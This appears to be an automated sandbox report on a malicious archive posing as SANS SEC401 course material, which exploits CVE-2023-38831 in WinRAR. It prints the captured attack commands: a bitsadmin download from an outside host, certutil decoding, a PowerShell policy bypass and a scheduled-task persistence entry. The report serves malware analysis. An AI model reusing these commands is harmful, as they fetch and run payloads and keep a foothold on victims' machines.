| File name: | SANS SEC401.rar |
| Full analysis: | https://app.any.run/tasks/4098e2fb-4a70-43e8-afa3-038180c5ab4f |
| Verdict: | Malicious activity |
| Analysis date: | May 16, 2025, 07:40:35 |
| OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
| Tags: | |
| Indicators: | |
| MIME: | application/zip |
| File info: | Zip archive data, at least v2.0 to extract, compression method=store |
| MD5: | 1FBD3CA9FCFEA5AAC390EA38FF818CC9 |
| SHA1: | 04BB53BD8A264BE0B3EA10FFA1945EB6F5ECDA93 |
| SHA256: | D1A55BB98B750CE9B9D9610A857DDC408331B6AE6834C1CBCCCA4FD1C50C4FB8 |
| SSDEEP: | 768:tDUX2OpRDnVoegESWJDg8LUud1LRqh1cC8v3GIEBK8:t0DHDnVoe1SsDuh103YBf |
MALICIOUS
Downloads files via BITSADMIN.EXE
- cmd.exe (PID: 2360)
- cmd.exe (PID: 1888)
CVE-2023-38831 is detected
- WinRAR.exe (PID: 2840)
Changes powershell execution policy (Bypass)
- cmd.exe (PID: 3684)
- cmd.exe (PID: 328)
Bypass execution policy to execute commands
- powershell.exe (PID: 2432)
- powershell.exe (PID: 3640)
Uses Task Scheduler to run other applications
- cmd.exe (PID: 2360)
SUSPICIOUS
Reads security settings of Internet Explorer
- WinRAR.exe (PID: 2840)
Starts CMD.EXE for commands execution
- WinRAR.exe (PID: 2840)
- cmd.exe (PID: 2360)
Executing commands from ".cmd" file
- WinRAR.exe (PID: 2840)
Starts POWERSHELL.EXE for commands execution
- cmd.exe (PID: 3684)
- cmd.exe (PID: 328)
Decoding a file from Base64 using CertUtil
- cmd.exe (PID: 2360)
- cmd.exe (PID: 1888)
Executes script without checking the security policy
- powershell.exe (PID: 2432)
- powershell.exe (PID: 3640)
The process executes Powershell scripts
- cmd.exe (PID: 328)
- cmd.exe (PID: 3684)
The process bypasses the loading of PowerShell profile settings
- cmd.exe (PID: 328)
- cmd.exe (PID: 3684)
Application launched itself
- cmd.exe (PID: 2360)
Uses TIMEOUT.EXE to delay execution
- cmd.exe (PID: 2360)
INFO
Checks if a key exists in the options dictionary (POWERSHELL)
- powershell.exe (PID: 2432)
Script raised an exception (POWERSHELL)
- powershell.exe (PID: 3640)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
TRiD
| .zip | | | ZIP compressed archive (100) |
|---|
EXIF
ZIP
| ZipRequiredVersion: | 20 |
|---|---|
| ZipBitFlag: | - |
| ZipCompression: | None |
| ZipModifyDate: | 2024:02:03 09:11:32 |
| ZipCRC: | 0x00000000 |
| ZipCompressedSize: | - |
| ZipUncompressedSize: | - |
| ZipFileName: | SANS SEC401.pdf / |
Total processes
48
Monitored processes
13
Malicious processes
2
Suspicious processes
5
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 328 | cmd /c "powershell -NOP -EP Bypass C:\Windows\Temp\z.ps1" | C:\Windows\System32\cmd.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) Modules
| |||||||||||||||
| 1888 | C:\Windows\system32\cmd.exe /c ""C:\Users\admin\AppData\Local\Temp\Rar$DIa2840.7831\SANS SEC401.pdf .cmd" " | C:\Windows\System32\cmd.exe | — | WinRAR.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 255 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) Modules
| |||||||||||||||
| 2056 | bitsadmin /transfer Nothing /download /priority normal http://172.18.35.10:8000/amanwhogetsnorest.jpg C:\Windows\Temp\amanwhogetsnorest.jpg | C:\Windows\System32\bitsadmin.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: BITS administration utility Exit code: 3221225786 Version: 7.5.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 2360 | C:\Windows\system32\cmd.exe /c ""C:\Users\admin\AppData\Local\Temp\Rar$DIa2840.6442\SANS SEC401.pdf .cmd" " | C:\Windows\System32\cmd.exe | — | WinRAR.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) Modules
| |||||||||||||||
| 2368 | bitsadmin /transfer Nothing /download /priority normal http://172.18.35.10:8000/amanwhogetsnorest.jpg C:\Windows\Temp\amanwhogetsnorest.jpg | C:\Windows\System32\bitsadmin.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: BITS administration utility Exit code: 3221225786 Version: 7.5.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 2420 | timeout /t 200 /nobreak | C:\Windows\System32\timeout.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: timeout - pauses command processing Exit code: 1 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 2432 | powershell -NOP -EP Bypass C:\Windows\Temp\z.ps1 | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 10.0.14409.1005 (rs1_srvoob.161208-1155) Modules
| |||||||||||||||
| 2464 | schtasks /create /sc minute /mo 3 /tn "whoisthebaba" /tr C:\Windows\Temp\run.bat /RL HIGHEST | C:\Windows\System32\schtasks.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Manages scheduled tasks Exit code: 1 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 2516 | certutil -decode amanwhogetsnorest.jpg normal.zip | C:\Windows\System32\certutil.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: CertUtil.exe Exit code: 2147942402 Version: 6.1.7601.18151 (win7sp1_gdr.130512-1533) Modules
| |||||||||||||||
| 2532 | certutil -decode amanwhogetsnorest.jpg normal.zip | C:\Windows\System32\certutil.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: CertUtil.exe Exit code: 2147942402 Version: 6.1.7601.18151 (win7sp1_gdr.130512-1533) Modules
| |||||||||||||||
Total events
5 661
Read events
5 641
Write events
20
Delete events
0
Modification events
| (PID) Process: | (2840) WinRAR.exe | Key: | HKEY_CURRENT_USER\Software\WinRAR\Interface\Themes |
| Operation: | write | Name: | ShellExtBMP |
Value: | |||
| (PID) Process: | (2840) WinRAR.exe | Key: | HKEY_CURRENT_USER\Software\WinRAR\Interface\Themes |
| Operation: | write | Name: | ShellExtIcon |
Value: | |||
| (PID) Process: | (2840) WinRAR.exe | Key: | HKEY_CLASSES_ROOT\Local Settings\MuiCache\182\52C64B7E |
| Operation: | write | Name: | LanguageList |
Value: en-US | |||
| (PID) Process: | (2840) WinRAR.exe | Key: | HKEY_CURRENT_USER\Software\WinRAR\ArcHistory |
| Operation: | write | Name: | 3 |
Value: C:\Users\admin\Desktop\Win7-KB3191566-x86.zip | |||
| (PID) Process: | (2840) WinRAR.exe | Key: | HKEY_CURRENT_USER\Software\WinRAR\ArcHistory |
| Operation: | write | Name: | 2 |
Value: C:\Users\admin\Desktop\curl-8.5.0_1-win32-mingw.zip | |||
| (PID) Process: | (2840) WinRAR.exe | Key: | HKEY_CURRENT_USER\Software\WinRAR\ArcHistory |
| Operation: | write | Name: | 1 |
Value: C:\Users\admin\Desktop\omni_23_10_2024_.zip | |||
| (PID) Process: | (2840) WinRAR.exe | Key: | HKEY_CURRENT_USER\Software\WinRAR\ArcHistory |
| Operation: | write | Name: | 0 |
Value: C:\Users\admin\SANS SEC401.rar.zip | |||
| (PID) Process: | (2840) WinRAR.exe | Key: | HKEY_CURRENT_USER\Software\WinRAR\FileList\FileColumnWidths |
| Operation: | write | Name: | name |
Value: 120 | |||
| (PID) Process: | (2840) WinRAR.exe | Key: | HKEY_CURRENT_USER\Software\WinRAR\FileList\FileColumnWidths |
| Operation: | write | Name: | size |
Value: 80 | |||
| (PID) Process: | (2840) WinRAR.exe | Key: | HKEY_CURRENT_USER\Software\WinRAR\FileList\FileColumnWidths |
| Operation: | write | Name: | type |
Value: 120 | |||
Executable files
0
Suspicious files
6
Text files
3
Unknown types
0
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 2432 | powershell.exe | C:\Users\admin\AppData\Local\Temp\40ktksxk.rr4.psm1 | binary | |
MD5:C4CA4238A0B923820DCC509A6F75849B | SHA256:— | |||
| 3640 | powershell.exe | C:\Users\admin\AppData\Local\Temp\kab3q5o5.1r4.ps1 | binary | |
MD5:C4CA4238A0B923820DCC509A6F75849B | SHA256:— | |||
| 2840 | WinRAR.exe | C:\Users\admin\AppData\Local\Temp\Rar$DIa2840.7831\SANS SEC401.pdf .cmd | text | |
MD5:74900DD2A29CD5EEBCC259F0265C8425 | SHA256:5790225B1BCFA692C57A0914DD78678CEEF6E212FBE7042B7DDF5A06FD4AB70D | |||
| 2360 | cmd.exe | C:\Windows\Temp\z.ps1 | text | |
MD5:6D7FDB60EC6FD42855650734FA70BC50 | SHA256:8B0825607C1EED686C1AC68F721C143A000CA826859772744F19415D0C3FF3B2 | |||
| 2840 | WinRAR.exe | C:\Users\admin\AppData\Local\Temp\Rar$DIa2840.6442\SANS SEC401.pdf .cmd | text | |
MD5:74900DD2A29CD5EEBCC259F0265C8425 | SHA256:5790225B1BCFA692C57A0914DD78678CEEF6E212FBE7042B7DDF5A06FD4AB70D | |||
| 2432 | powershell.exe | C:\Users\admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive | binary | |
MD5:446DD1CF97EABA21CF14D03AEBC79F27 | SHA256:A7DE5177C68A64BD48B36D49E2853799F4EBCFA8E4761F7CC472F333DC5F65CF | |||
| 2840 | WinRAR.exe | C:\Users\admin\AppData\Local\Temp\Rar$DIa2840.6442\SANS SEC401.pdf | ||
MD5:60CCE380DA0C5D26C70C4917C06FA60F | SHA256:BF76B9992DEF63B87CD3880487624F07D60EE0FC9003FE29A73A9AD3632C6AC4 | |||
| 3640 | powershell.exe | C:\Users\admin\AppData\Local\Temp\dthspqg4.xtq.psm1 | binary | |
MD5:C4CA4238A0B923820DCC509A6F75849B | SHA256:— | |||
| 2432 | powershell.exe | C:\Users\admin\AppData\Local\Temp\revqc3be.x3e.ps1 | binary | |
MD5:C4CA4238A0B923820DCC509A6F75849B | SHA256:— | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
0
TCP/UDP connections
10
DNS requests
1
Threats
0
HTTP requests
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
4 | System | 192.168.100.255:137 | — | — | — | whitelisted |
1080 | svchost.exe | 224.0.0.252:5355 | — | — | — | whitelisted |
4 | System | 192.168.100.255:138 | — | — | — | whitelisted |
1880 | svchost.exe | 239.255.255.250:1900 | — | — | — | whitelisted |
860 | svchost.exe | 172.18.35.10:8000 | — | — | — | unknown |
DNS requests
Domain | IP | Reputation |
|---|---|---|
google.com |
| whitelisted |